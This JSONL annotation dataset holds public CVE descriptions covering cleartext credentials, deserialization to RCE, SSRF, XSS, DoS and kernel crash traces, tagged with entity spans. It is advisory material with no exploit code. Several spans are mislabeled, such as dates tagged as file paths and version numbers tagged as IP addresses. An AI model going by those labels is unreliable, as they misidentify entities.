{"text": "The Trend Controls IC protocol through 2022-05-06 allows Cleartext Transmission of Sensitive Information. According to FSCT-2022-0050, there is a Trend Controls Inter-Controller (IC) protocol cleartext transmission of credentials issue. The affected components are characterized as: Inter-Controller (IC) protocol (57612/UDP). The potential impact is: Compromise of credentials. Several Trend Controls building automation controllers utilize the Inter-Controller (IC) protocol in for information exchange and automation purposes. This protocol offers authentication in the form of a 4-digit PIN in order to protect access to sensitive operations like strategy uploads and downloads as well as optional 0-30 character username and password protection for web page access protection. Both the PIN and usernames and passwords are transmitted in cleartext, allowing an attacker with passive interception capabilities to obtain these credentials. Credentials are transmitted in cleartext. An attacker who obtains Trend IC credentials can carry out sensitive engineering actions such as manipulating controller strategy or configuration settings. If the credentials in question are (re)used for other applications, their compromise could potentially facilitate lateral movement.", "spans": {"VULNERABILITY: Cleartext Transmission": [[57, 79]], "VULNERABILITY: cleartext transmission": [[192, 214]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-30312"}}
{"text": "Vulnerability in the Oracle Java SE, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Libraries). Supported versions that are affected are Oracle Java SE: 7u321, 8u311, 11.0.13, 17.0.1; Oracle GraalVM Enterprise Edition: 20.3.4 and 21.3.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Java SE, Oracle GraalVM Enterprise Edition. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability can also be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. CVSS 3.1 Base Score 5.3 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L).", "spans": {"SYSTEM: Java": [[28, 32], [89, 93], [169, 173], [392, 396], [573, 577], [653, 657], [710, 714], [751, 755], [856, 860]], "ORGANIZATION: Oracle": [[21, 27], [37, 43], [82, 88], [162, 168], [209, 215], [385, 391], [401, 407], [566, 572], [582, 588]], "VULNERABILITY: denial of service": [[531, 548]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-21293"}}
{"text": "A program using swift-nio-http2 is vulnerable to a denial of service attack, caused by a network peer sending a specially crafted HTTP/2 frame. This vulnerability is caused by a logical error when parsing a HTTP/2 HEADERS or HTTP/2 PUSH_PROMISE frame where the frame contains padding information without any other data. This logical error caused confusion about the size of the frame, leading to a parsing error. This parsing error immediately crashes the entire process. Sending a HEADERS frame or PUSH_PROMISE frame with HTTP/2 padding information does not require any special permission, so any HTTP/2 connection peer may send such a frame. For clients, this means any server to which they connect may launch this attack. For servers, anyone they allow to connect to them may launch such an attack. The attack is low-effort: it takes very little resources to send an appropriately crafted frame. The impact on availability is high: receiving the frame immediately crashes the server, dropping all in-flight connections and causing the service to need to restart. It is straightforward for an attacker to repeatedly send appropriately crafted frames, so attackers require very few resources to achieve a substantial denial of service. The attack does not have any confidentiality or integrity risks in and of itself: swift-nio-http2 is parsing the frame in memory-safe code, so the crash is safe. However, sudden process crashes can lead to violations of invariants in services, so it is possible that this attack can be used to trigger an error condition that has confidentiality or integrity risks. The risk can be mitigated if untrusted peers can be prevented from communicating with the service. This mitigation is not available to many services. The issue is fixed by rewriting the parsing code to correctly handle the condition. The issue was found by automated fuzzing by oss-fuzz.", "spans": {"VULNERABILITY: denial of service": [[51, 68], [1218, 1235]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-0618"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm/gup: handle NULL pages in unpin_user_pages()\n\nThe recent addition of \"pofs\" (pages or folios) handling to gup has a\nflaw: it assumes that unpin_user_pages() handles NULL pages in the pages**\narray.  That's not the case, as I discovered when I ran on a new\nconfiguration on my test machine.\n\nFix this by skipping NULL pages in unpin_user_pages(), just like\nunpin_folios() already does.\n\nDetails: when booting on x86 with \"numa=fake=2 movablecore=4G\" on Linux\n6.12, and running this:\n\n    tools/testing/selftests/mm/gup_longterm\n\n...I get the following crash:\n\nBUG: kernel NULL pointer dereference, address: 0000000000000008\nRIP: 0010:sanity_check_pinned_pages+0x3a/0x2d0\n...\nCall Trace:\n <TASK>\n ? __die_body+0x66/0xb0\n ? page_fault_oops+0x30c/0x3b0\n ? do_user_addr_fault+0x6c3/0x720\n ? irqentry_enter+0x34/0x60\n ? exc_page_fault+0x68/0x100\n ? asm_exc_page_fault+0x22/0x30\n ? sanity_check_pinned_pages+0x3a/0x2d0\n unpin_user_pages+0x24/0xe0\n check_and_migrate_movable_pages_or_folios+0x455/0x4b0\n __gup_longterm_locked+0x3bf/0x820\n ? mmap_read_lock_killable+0x12/0x50\n ? __pfx_mmap_read_lock_killable+0x10/0x10\n pin_user_pages+0x66/0xa0\n gup_test_ioctl+0x358/0xb20\n __se_sys_ioctl+0x6b/0xc0\n do_syscall_64+0x7b/0x150\n entry_SYSCALL_64_after_hwframe+0x76/0x7e", "spans": {"FILEPATH: /testing/selftests/mm/gup_longterm": [[564, 598]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: Linux": [[524, 529]], "VULNERABILITY: NULL pointer dereference": [[643, 667]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-56612"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbonding: annotate data-races around slave->last_rx\n\nslave->last_rx and slave->target_last_arp_rx[...] can be read and written\nlocklessly. Add READ_ONCE() and WRITE_ONCE() annotations.\n\nsyzbot reported:\n\nBUG: KCSAN: data-race in bond_rcv_validate / bond_rcv_validate\n\nwrite to 0xffff888149f0d428 of 8 bytes by interrupt on cpu 1:\n  bond_rcv_validate+0x202/0x7a0 drivers/net/bonding/bond_main.c:3335\n  bond_handle_frame+0xde/0x5e0 drivers/net/bonding/bond_main.c:1533\n  __netif_receive_skb_core+0x5b1/0x1950 net/core/dev.c:6039\n  __netif_receive_skb_one_core net/core/dev.c:6150 [inline]\n  __netif_receive_skb+0x59/0x270 net/core/dev.c:6265\n  netif_receive_skb_internal net/core/dev.c:6351 [inline]\n  netif_receive_skb+0x4b/0x2d0 net/core/dev.c:6410\n...\n\nwrite to 0xffff888149f0d428 of 8 bytes by interrupt on cpu 0:\n  bond_rcv_validate+0x202/0x7a0 drivers/net/bonding/bond_main.c:3335\n  bond_handle_frame+0xde/0x5e0 drivers/net/bonding/bond_main.c:1533\n  __netif_receive_skb_core+0x5b1/0x1950 net/core/dev.c:6039\n  __netif_receive_skb_one_core net/core/dev.c:6150 [inline]\n  __netif_receive_skb+0x59/0x270 net/core/dev.c:6265\n  netif_receive_skb_internal net/core/dev.c:6351 [inline]\n  netif_receive_skb+0x4b/0x2d0 net/core/dev.c:6410\n  br_netif_receive_skb net/bridge/br_input.c:30 [inline]\n  NF_HOOK include/linux/netfilter.h:318 [inline]\n...\n\nvalue changed: 0x0000000100005365 -> 0x0000000100005366", "spans": {"FILEPATH: /net/bonding/bond_main.c": [[437, 461], [505, 529], [923, 947], [991, 1015]], "FILEPATH: /core/dev.c": [[578, 589], [629, 640], [691, 702], [740, 751], [800, 811], [1064, 1075], [1115, 1126], [1177, 1188], [1226, 1237], [1286, 1297]], "FILEPATH: /bridge/br_input.c": [[1329, 1347]], "FILEPATH: /linux/netfilter.h": [[1377, 1395]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23212"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmd/raid1: stop mdx_raid1 thread when raid1 array run failed\n\nfail run raid1 array when we assemble array with the inactive disk only,\nbut the mdx_raid1 thread were not stop, Even if the associated resources\nhave been released. it will caused a NULL dereference when we do poweroff.\n\nThis causes the following Oops:\n    [  287.587787] BUG: kernel NULL pointer dereference, address: 0000000000000070\n    [  287.594762] #PF: supervisor read access in kernel mode\n    [  287.599912] #PF: error_code(0x0000) - not-present page\n    [  287.605061] PGD 0 P4D 0\n    [  287.607612] Oops: 0000 [#1] SMP NOPTI\n    [  287.611287] CPU: 3 PID: 5265 Comm: md0_raid1 Tainted: G     U            5.10.146 #0\n    [  287.619029] Hardware name: xxxxxxx/To be filled by O.E.M, BIOS 5.19 06/16/2022\n    [  287.626775] RIP: 0010:md_check_recovery+0x57/0x500 [md_mod]\n    [  287.632357] Code: fe 01 00 00 48 83 bb 10 03 00 00 00 74 08 48 89 ......\n    [  287.651118] RSP: 0018:ffffc90000433d78 EFLAGS: 00010202\n    [  287.656347] RAX: 0000000000000000 RBX: ffff888105986800 RCX: 0000000000000000\n    [  287.663491] RDX: ffffc90000433bb0 RSI: 00000000ffffefff RDI: ffff888105986800\n    [  287.670634] RBP: ffffc90000433da0 R08: 0000000000000000 R09: c0000000ffffefff\n    [  287.677771] R10: 0000000000000001 R11: ffffc90000433ba8 R12: ffff888105986800\n    [  287.684907] R13: 0000000000000000 R14: fffffffffffffe00 R15: ffff888100b6b500\n    [  287.692052] FS:  0000000000000000(0000) GS:ffff888277f80000(0000) knlGS:0000000000000000\n    [  287.700149] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n    [  287.705897] CR2: 0000000000000070 CR3: 000000000320a000 CR4: 0000000000350ee0\n    [  287.713033] Call Trace:\n    [  287.715498]  raid1d+0x6c/0xbbb [raid1]\n    [  287.719256]  ? __schedule+0x1ff/0x760\n    [  287.722930]  ? schedule+0x3b/0xb0\n    [  287.726260]  ? schedule_timeout+0x1ed/0x290\n    [  287.730456]  ? __switch_to+0x11f/0x400\n    [  287.734219]  md_thread+0xe9/0x140 [md_mod]\n    [  287.738328]  ? md_thread+0xe9/0x140 [md_mod]\n    [  287.742601]  ? wait_woken+0x80/0x80\n    [  287.746097]  ? md_register_thread+0xe0/0xe0 [md_mod]\n    [  287.751064]  kthread+0x11a/0x140\n    [  287.754300]  ? kthread_park+0x90/0x90\n    [  287.757974]  ret_from_fork+0x1f/0x30\n\nIn fact, when raid1 array run fail, we need to do\nmd_unregister_thread() before raid1_free().", "spans": {"FILEPATH: /16/2022": [[836, 844]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[415, 439]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50715"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\narm64: extable: fix load_unaligned_zeropad() reg indices\n\nIn ex_handler_load_unaligned_zeropad() we erroneously extract the data and\naddr register indices from ex->type rather than ex->data. As ex->type will\ncontain EX_TYPE_LOAD_UNALIGNED_ZEROPAD (i.e. 4):\n * We'll always treat X0 as the address register, since EX_DATA_REG_ADDR is\n   extracted from bits [9:5]. Thus, we may attempt to dereference an\n   arbitrary address as X0 may hold an arbitrary value.\n * We'll always treat X4 as the data register, since EX_DATA_REG_DATA is\n   extracted from bits [4:0]. Thus we will corrupt X4 and cause arbitrary\n   behaviour within load_unaligned_zeropad() and its caller.\n\nFix this by extracting both values from ex->data as originally intended.\n\nOn an MTE-enabled QEMU image we are hitting the following crash:\n Unable to handle kernel NULL pointer dereference at virtual address 0000000000000000\n Call trace:\n  fixup_exception+0xc4/0x108\n  __do_kernel_fault+0x3c/0x268\n  do_tag_check_fault+0x3c/0x104\n  do_mem_abort+0x44/0xf4\n  el1_abort+0x40/0x64\n  el1h_64_sync_handler+0x60/0xa0\n  el1h_64_sync+0x7c/0x80\n  link_path_walk+0x150/0x344\n  path_openat+0xa0/0x7dc\n  do_filp_open+0xb8/0x168\n  do_sys_openat2+0x88/0x17c\n  __arm64_sys_openat+0x74/0xa0\n  invoke_syscall+0x48/0x148\n  el0_svc_common+0xb8/0xf8\n  do_el0_svc+0x28/0x88\n  el0_svc+0x24/0x84\n  el0t_64_sync_handler+0x88/0xec\n  el0t_64_sync+0x1b4/0x1b8\n Code: f8695a69 71007d1f 540000e0 927df12a (f940014a)", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[828, 832]], "VULNERABILITY: NULL pointer dereference": [[900, 924]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-48762"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nrpl: Fix use-after-free in rpl_do_srh_inline().\n\nRunning lwt_dst_cache_ref_loop.sh in selftest with KASAN triggers\nthe splat below [0].\n\nrpl_do_srh_inline() fetches ipv6_hdr(skb) and accesses it after\nskb_cow_head(), which is illegal as the header could be freed then.\n\nLet's fix it by making oldhdr to a local struct instead of a pointer.\n\n[0]:\n[root@fedora net]# ./lwt_dst_cache_ref_loop.sh\n...\nTEST: rpl (input)\n[   57.631529] ==================================================================\nBUG: KASAN: slab-use-after-free in rpl_do_srh_inline.isra.0 (net/ipv6/rpl_iptunnel.c:174)\nRead of size 40 at addr ffff888122bf96d8 by task ping6/1543\n\nCPU: 50 UID: 0 PID: 1543 Comm: ping6 Not tainted 6.16.0-rc5-01302-gfadd1e6231b1 #23 PREEMPT(voluntary)\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014\nCall Trace:\n <IRQ>\n dump_stack_lvl (lib/dump_stack.c:122)\n print_report (mm/kasan/report.c:409 mm/kasan/report.c:521)\n kasan_report (mm/kasan/report.c:221 mm/kasan/report.c:636)\n kasan_check_range (mm/kasan/generic.c:175 (discriminator 1) mm/kasan/generic.c:189 (discriminator 1))\n __asan_memmove (mm/kasan/shadow.c:94 (discriminator 2))\n rpl_do_srh_inline.isra.0 (net/ipv6/rpl_iptunnel.c:174)\n rpl_input (net/ipv6/rpl_iptunnel.c:201 net/ipv6/rpl_iptunnel.c:282)\n lwtunnel_input (net/core/lwtunnel.c:459)\n ipv6_rcv (./include/net/dst.h:471 (discriminator 1) ./include/net/dst.h:469 (discriminator 1) net/ipv6/ip6_input.c:79 (discriminator 1) ./include/linux/netfilter.h:317 (discriminator 1) ./include/linux/netfilter.h:311 (discriminator 1) net/ipv6/ip6_input.c:311 (discriminator 1))\n __netif_receive_skb_one_core (net/core/dev.c:5967)\n process_backlog (./include/linux/rcupdate.h:869 net/core/dev.c:6440)\n __napi_poll.constprop.0 (net/core/dev.c:7452)\n net_rx_action (net/core/dev.c:7518 net/core/dev.c:7643)\n handle_softirqs (kernel/softirq.c:579)\n do_softirq (kernel/softirq.c:480 (discriminator 20))\n </IRQ>\n <TASK>\n __local_bh_enable_ip (kernel/softirq.c:407)\n __dev_queue_xmit (net/core/dev.c:4740)\n ip6_finish_output2 (./include/linux/netdevice.h:3358 ./include/net/neighbour.h:526 ./include/net/neighbour.h:540 net/ipv6/ip6_output.c:141)\n ip6_finish_output (net/ipv6/ip6_output.c:215 net/ipv6/ip6_output.c:226)\n ip6_output (./include/linux/netfilter.h:306 net/ipv6/ip6_output.c:248)\n ip6_send_skb (net/ipv6/ip6_output.c:1983)\n rawv6_sendmsg (net/ipv6/raw.c:588 net/ipv6/raw.c:918)\n __sys_sendto (net/socket.c:714 (discriminator 1) net/socket.c:729 (discriminator 1) net/socket.c:2228 (discriminator 1))\n __x64_sys_sendto (net/socket.c:2231)\n do_syscall_64 (arch/x86/entry/syscall_64.c:63 (discriminator 1) arch/x86/entry/syscall_64.c:94 (discriminator 1))\n entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:130)\nRIP: 0033:0x7f68cffb2a06\nCode: 5d e8 41 8b 93 08 03 00 00 59 5e 48 83 f8 fc 75 19 83 e2 39 83 fa 08 75 11 e8 26 ff ff ff 66 0f 1f 44 00 00 48 8b 45 10 0f 05 <48> 8b 5d f8 c9 c3 0f 1f 40 00 f3 0f 1e fa 55 48 89 e5 48 83 ec 08\nRSP: 002b:00007ffefb7c53d0 EFLAGS: 00000202 ORIG_RAX: 000000000000002c\nRAX: ffffffffffffffda RBX: 0000564cd69f10a0 RCX: 00007f68cffb2a06\nRDX: 0000000000000040 RSI: 0000564cd69f10a4 RDI: 0000000000000003\nRBP: 00007ffefb7c53f0 R08: 0000564cd6a032ac R09: 000000000000001c\nR10: 0000000000000000 R11: 0000000000000202 R12: 0000564cd69f10a4\nR13: 0000000000000040 R14: 00007ffefb7c66e0 R15: 0000564cd69f10a0\n </TASK>\n\nAllocated by task 1543:\n kasan_save_stack (mm/kasan/common.c:48)\n kasan_save_track (mm/kasan/common.c:60 (discriminator 1) mm/kasan/common.c:69 (discriminator 1))\n __kasan_slab_alloc (mm/kasan/common.c:319 mm/kasan/common.c:345)\n kmem_cache_alloc_node_noprof (./include/linux/kasan.h:250 mm/slub.c:4148 mm/slub.c:4197 mm/slub.c:4249)\n kmalloc_reserve (net/core/skbuff.c:581 (discriminator 88))\n __alloc_skb (net/core/skbuff.c:669)\n __ip6_append_data (net/ipv6/ip6_output.c:1672 (discriminator 1))\n ip6_\n---truncated---", "spans": {"FILEPATH: /ipv6/rpl_iptunnel.c": [[630, 650], [1282, 1302], [1323, 1343], [1351, 1371]], "FILEPATH: /01/2014": [[905, 913]], "FILEPATH: /kasan/report.c": [[989, 1004], [1011, 1026], [1049, 1064], [1071, 1086]], "FILEPATH: /kasan/generic.c": [[1114, 1130], [1155, 1171]], "FILEPATH: /kasan/shadow.c": [[1214, 1229]], "FILEPATH: /core/lwtunnel.c": [[1397, 1413]], "FILEPATH: /include/net/dst.h": [[1431, 1449], [1473, 1491]], "FILEPATH: /ipv6/ip6_input.c": [[1517, 1534], [1659, 1676]], "FILEPATH: /include/linux/netfilter.h": [[1557, 1583], [1607, 1633], [2349, 2375]], "FILEPATH: /core/dev.c": [[1734, 1745], [1804, 1815], [1851, 1862], [1888, 1899], [1908, 1919], [2103, 2114]], "FILEPATH: /include/linux/rcupdate.h": [[1771, 1796]], "FILEPATH: /include/linux/netdevice.h": [[2143, 2169]], "FILEPATH: /include/net/neighbour.h": [[2176, 2200], [2206, 2230]], "FILEPATH: /ipv6/ip6_output.c": [[2238, 2256], [2285, 2303], [2311, 2329], [2383, 2401], [2425, 2443], [3934, 3952]], "FILEPATH: /ipv6/raw.c": [[2469, 2480], [2488, 2499]], "FILEPATH: /x86/entry/syscall_64.c": [[2685, 2708], [2734, 2757]], "FILEPATH: /x86/entry/entry_64.S": [[2817, 2838]], "FILEPATH: /kasan/common.c": [[3525, 3540], [3566, 3581], [3605, 3620], [3666, 3681], [3688, 3703]], "FILEPATH: /include/linux/kasan.h": [[3741, 3763]], "FILEPATH: /core/skbuff.c": [[3835, 3849], [3891, 3905]], "FILEPATH: lwt_dst_cache_ref_loop.sh": [[126, 151], [436, 461]], "FILEPATH: dump_stack.c": [[954, 966]], "FILEPATH: softirq.c": [[1951, 1960], [1986, 1995], [2066, 2075]], "FILEPATH: socket.c": [[2524, 2532], [2559, 2567], [2594, 2602], [2650, 2658]], "FILEPATH: slub.c": [[3771, 3777], [3786, 3792], [3801, 3807]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[835, 839]], "VULNERABILITY: use-after-free": [[78, 92], [583, 597]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38476"}}
{"text": "Saloon is a PHP library that gives users tools to build API integrations and SDKs. Versions prior to 4.0.0 used PHP's unserialize() in AccessTokenAuthenticator::unserialize() to restore OAuth token state from cache or storage, with allowed_classes => true. An attacker who can control the serialized string (e.g. by overwriting a cached token file or via another injection) can supply a serialized \"gadget\" object. When unserialize() runs, PHP instantiates that object and runs its magic methods (__wakeup, __destruct, etc.), leading to object injection. In environments with common dependencies (e.g. Monolog), this can be chained to remote code execution (RCE). The fix in version 4.0.0 removes PHP serialization from the AccessTokenAuthenticator class requiring users to store and resolve the authenticator manually.", "spans": {"SYSTEM: PHP": [[12, 15], [112, 115], [440, 443], [697, 700]], "VULNERABILITY: remote code execution": [[635, 656]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-33942"}}
{"text": "Synapse is a Matrix reference homeserver written in python (pypi package matrix-synapse). Matrix is an ecosystem for open federated Instant Messaging and VoIP. In Synapse before version 1.25.0, requests to user provided domains were not restricted to external IP addresses when calculating the key validity for third-party invite events and sending push notifications. This could cause Synapse to make requests to internal infrastructure. The type of request was not controlled by the user, although limited modification of request bodies was possible. For the most thorough protection server administrators should remove the deprecated `federation_ip_range_blacklist` from their settings after upgrading to Synapse v1.25.0 which will result in Synapse using the improved default IP address restrictions. See the new `ip_range_blacklist` and `ip_range_whitelist` settings if more specific control is necessary.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-21273"}}
{"text": "django-filter is a generic system for filtering Django QuerySets based on user selections. In django-filter before version 2.4.0, automatically generated `NumberFilter` instances, whose value was later converted to an integer, were subject to potential DoS from maliciously input using exponential format with sufficiently large exponents. Version 2.4.0+ applies a `MaxValueValidator` with a a default `limit_value` of 1e50 to the form field used by `NumberFilter` instances. In addition, `NumberFilter` implements the new `get_max_validator()` which should return a configured validator instance to customise the limit, or else `None` to disable the additional validation. Users may manually apply an equivalent validator if they are not able to upgrade.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-15225"}}
{"text": "Wazuh is a free and open source platform used for threat prevention, detection, and response. Starting in version 4.3.0 and prior to version 4.14.3, a Denial of Service (DoS) vulnerability exists in the Wazuh API authentication middleware (`middlewares.py`). The application uses an asynchronous event loop (Starlette/Asyncio) to call a synchronous function (`generate_keypair`) that performs blocking disk I/O on every request containing a Bearer token. An unauthenticated remote attacker can exploit this by flooding the API with requests containing invalid Bearer tokens. This forces the single-threaded event loop to pause for file read operations repeatedly, starving the application of CPU resources and potentially preventing it from accepting or processing legitimate connections. Version 4.14.3 fixes the issue.", "spans": {"FILEPATH: middlewares.py": [[241, 255]], "VULNERABILITY: Denial of Service": [[151, 168]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-25771"}}
{"text": "Vulnerability in the Oracle CRM Technical Foundation product of Oracle E-Business Suite (component: Preferences). Supported versions that are affected are 12.1.3 and 12.2.3-12.2.9. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle CRM Technical Foundation. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle CRM Technical Foundation, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle CRM Technical Foundation accessible data as well as unauthorized update, insert or delete access to some of Oracle CRM Technical Foundation accessible data. CVSS 3.1 Base Score 7.6 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [64, 70], [288, 294], [438, 444], [643, 649], [758, 764]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-14667"}}
{"text": "Cacti is a robust performance and fault management framework and a frontend to RRDTool - a Time Series Database (TSDB). A vulnerability in versions prior to 1.2.27 bypasses an earlier fix for CVE-2023-39360, therefore leading to a DOM XSS attack. Exploitation of the vulnerability is possible for an authorized user. The vulnerable component is the `graphs_new.php`. The impact of the vulnerability is execution of arbitrary JavaScript code in the attacked user's browser. This issue has been patched in version 1.2.27.", "spans": {"CVE_ID: CVE-2023-39360": [[192, 206]], "FILEPATH: graphs_new.php": [[350, 364]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-49086"}}
{"text": "Certain NETGEAR devices are affected by stored XSS. This affects CBR40 before 2.5.0.10, EAX20 before 1.0.0.48, EAX80 before 1.0.1.64, EX6120 before 1.0.0.64, EX6130 before 1.0.0.44, EX7500 before 1.0.0.72, R7960P before 1.4.1.66, RAX200 before 1.0.3.106, RBS40V before 2.6.1.4, RBW30 before 2.6.1.4, EX3700 before 1.0.0.90, MR60 before 1.0.6.110, R8000P before 1.4.1.66, RAX20 before 1.0.2.82, RAX45 before 1.0.2.72, RAX80 before 1.0.3.106, EX3800 before 1.0.0.90, MS60 before 1.0.6.110, R7900P before 1.4.1.66, RAX15 before 1.0.2.82, RAX50 before 1.0.2.72, RAX75 before 1.0.3.106, RBR750 before 3.2.16.6, RBR850 before 3.2.16.6, RBS750 before 3.2.16.6, RBS850 before 3.2.16.6, RBK752 before 3.2.16.6, and RBK852 before 3.2.16.6.", "spans": {"IP_ADDRESS: 2.5.0.10": [[78, 86]], "IP_ADDRESS: 1.0.0.48": [[101, 109]], "IP_ADDRESS: 1.0.1.64": [[124, 132]], "IP_ADDRESS: 1.0.0.64": [[148, 156]], "IP_ADDRESS: 1.0.0.44": [[172, 180]], "IP_ADDRESS: 1.0.0.72": [[196, 204]], "IP_ADDRESS: 1.4.1.66": [[220, 228], [361, 369], [502, 510]], "IP_ADDRESS: 1.0.3.106": [[244, 253], [430, 439], [571, 580]], "IP_ADDRESS: 2.6.1.4": [[269, 276], [291, 298]], "IP_ADDRESS: 1.0.0.90": [[314, 322], [455, 463]], "IP_ADDRESS: 1.0.6.110": [[336, 345], [477, 486]], "IP_ADDRESS: 1.0.2.82": [[384, 392], [525, 533]], "IP_ADDRESS: 1.0.2.72": [[407, 415], [548, 556]], "IP_ADDRESS: 3.2.16.6": [[596, 604], [620, 628], [644, 652], [668, 676], [692, 700], [720, 728]], "VULNERABILITY: stored XSS": [[40, 50]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-45667"}}
{"text": "File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. Versions 2.61.0 and below contain a permission enforcement bypass which allows users who are denied download privileges (perm.download = false) but granted share privileges (perm.share = true) to exfiltrate file content by creating public share links. While the direct raw download endpoint (/api/raw/) correctly enforces the download permission, the share creation endpoint only checks Perm.Share, and the public download handler (/api/public/dl/<hash>) serves file content without verifying that the original file owner has download permission. This means any authenticated user with share access can circumvent download restrictions by sharing a file and then retrieving it via the unauthenticated public download URL. The vulnerability undermines data-loss prevention and role-separation policies, as restricted users can publicly distribute files they are explicitly blocked from downloading directly. This issue has been fixed in version 2.62.0.", "spans": {"FILEPATH: /api/raw": [[429, 437]], "FILEPATH: /api/public/dl": [[569, 583]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-32761"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nHID: core: fix shift-out-of-bounds in hid_report_raw_event\n\nSyzbot reported shift-out-of-bounds in hid_report_raw_event.\n\nmicrosoft 0003:045E:07DA.0001: hid_field_extract() called with n (128) >\n32! (swapper/0)\n======================================================================\nUBSAN: shift-out-of-bounds in drivers/hid/hid-core.c:1323:20\nshift exponent 127 is too large for 32-bit type 'int'\nCPU: 0 PID: 0 Comm: swapper/0 Not tainted\n6.1.0-rc4-syzkaller-00159-g4bbf3422df78 #0\nHardware name: Google Compute Engine/Google Compute Engine, BIOS\nGoogle 10/26/2022\nCall Trace:\n <IRQ>\n __dump_stack lib/dump_stack.c:88 [inline]\n dump_stack_lvl+0x1e3/0x2cb lib/dump_stack.c:106\n ubsan_epilogue lib/ubsan.c:151 [inline]\n __ubsan_handle_shift_out_of_bounds+0x3a6/0x420 lib/ubsan.c:322\n snto32 drivers/hid/hid-core.c:1323 [inline]\n hid_input_fetch_field drivers/hid/hid-core.c:1572 [inline]\n hid_process_report drivers/hid/hid-core.c:1665 [inline]\n hid_report_raw_event+0xd56/0x18b0 drivers/hid/hid-core.c:1998\n hid_input_report+0x408/0x4f0 drivers/hid/hid-core.c:2066\n hid_irq_in+0x459/0x690 drivers/hid/usbhid/hid-core.c:284\n __usb_hcd_giveback_urb+0x369/0x530 drivers/usb/core/hcd.c:1671\n dummy_timer+0x86b/0x3110 drivers/usb/gadget/udc/dummy_hcd.c:1988\n call_timer_fn+0xf5/0x210 kernel/time/timer.c:1474\n expire_timers kernel/time/timer.c:1519 [inline]\n __run_timers+0x76a/0x980 kernel/time/timer.c:1790\n run_timer_softirq+0x63/0xf0 kernel/time/timer.c:1803\n __do_softirq+0x277/0x75b kernel/softirq.c:571\n __irq_exit_rcu+0xec/0x170 kernel/softirq.c:650\n irq_exit_rcu+0x5/0x20 kernel/softirq.c:662\n sysvec_apic_timer_interrupt+0x91/0xb0 arch/x86/kernel/apic/apic.c:1107\n======================================================================\n\nIf the size of the integer (unsigned n) is bigger than 32 in snto32(),\nshift exponent will be too large for 32-bit type 'int', resulting in a\nshift-out-of-bounds bug.\nFix this by adding a check on the size of the integer (unsigned n) in\nsnto32(). To add support for n greater than 32 bits, set n to 32, if n\nis greater than 32.", "spans": {"FILEPATH: /hid/hid-core.c": [[388, 403], [865, 880], [925, 940], [982, 997], [1054, 1069], [1112, 1127]], "FILEPATH: /26/2022": [[625, 633]], "FILEPATH: /hid/usbhid/hid-core.c": [[1164, 1186]], "FILEPATH: /usb/core/hcd.c": [[1234, 1249]], "FILEPATH: /usb/gadget/udc/dummy_hcd.c": [[1288, 1315]], "FILEPATH: /time/timer.c": [[1353, 1366], [1393, 1406], [1453, 1466], [1507, 1520]], "FILEPATH: /x86/kernel/apic/apic.c": [[1708, 1731]], "FILEPATH: dump_stack.c": [[671, 683], [728, 740]], "FILEPATH: ubsan.c": [[765, 772], [838, 845]], "FILEPATH: softirq.c": [[1559, 1568], [1607, 1616], [1651, 1660]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[566, 572], [588, 594], [616, 622]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-48978"}}
